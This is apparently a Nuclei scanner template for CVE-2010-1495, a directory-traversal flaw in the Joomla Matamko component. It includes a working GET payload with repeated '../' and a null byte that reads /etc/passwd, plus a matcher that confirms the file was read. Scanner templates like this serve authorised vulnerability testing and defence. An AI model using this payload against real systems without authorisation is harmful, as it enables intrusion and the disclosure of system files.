id: CVE-2010-1495

info:
  name: Joomla! Component Matamko 1.01 - Local File Inclusion
  author: daffainfo
  severity: high
  description: A directory traversal vulnerability in the Matamko (com_matamko) component 1.01 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files, remote code execution, and potential compromise of the entire Joomla! installation.
  remediation: Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/12286
    - https://nvd.nist.gov/vuln/detail/CVE-2010-1495
    - http://www.vupen.com/english/advisories/2010/0929
    - http://packetstormsecurity.org/1004-exploits/joomlamatamko-lfi.txt
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:P/A:P
    cvss-score: 7.5
    cve-id: CVE-2010-1495
    cwe-id: CWE-22
    epss-score: 0.01342
    epss-percentile: 0.80277
    cpe: cpe:2.3:a:matamko:com_matamko:1.01:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: matamko
    product: com_matamko
  tags: cve2010,cve,joomla,lfi,edb,packetstorm,matamko,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_matamko&controller=../../../../../../../../../../etc/passwd%00"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 490a00463044022024d6cbbf28611b1d0e434be577aa714037570c22ebd3d2526057da8fcd59e4ef02201010e3959d89e26b073f1c9ec56bb7864970d899da72069d66591f4999dcd386:922c64590222798bb761d5b6d8e72950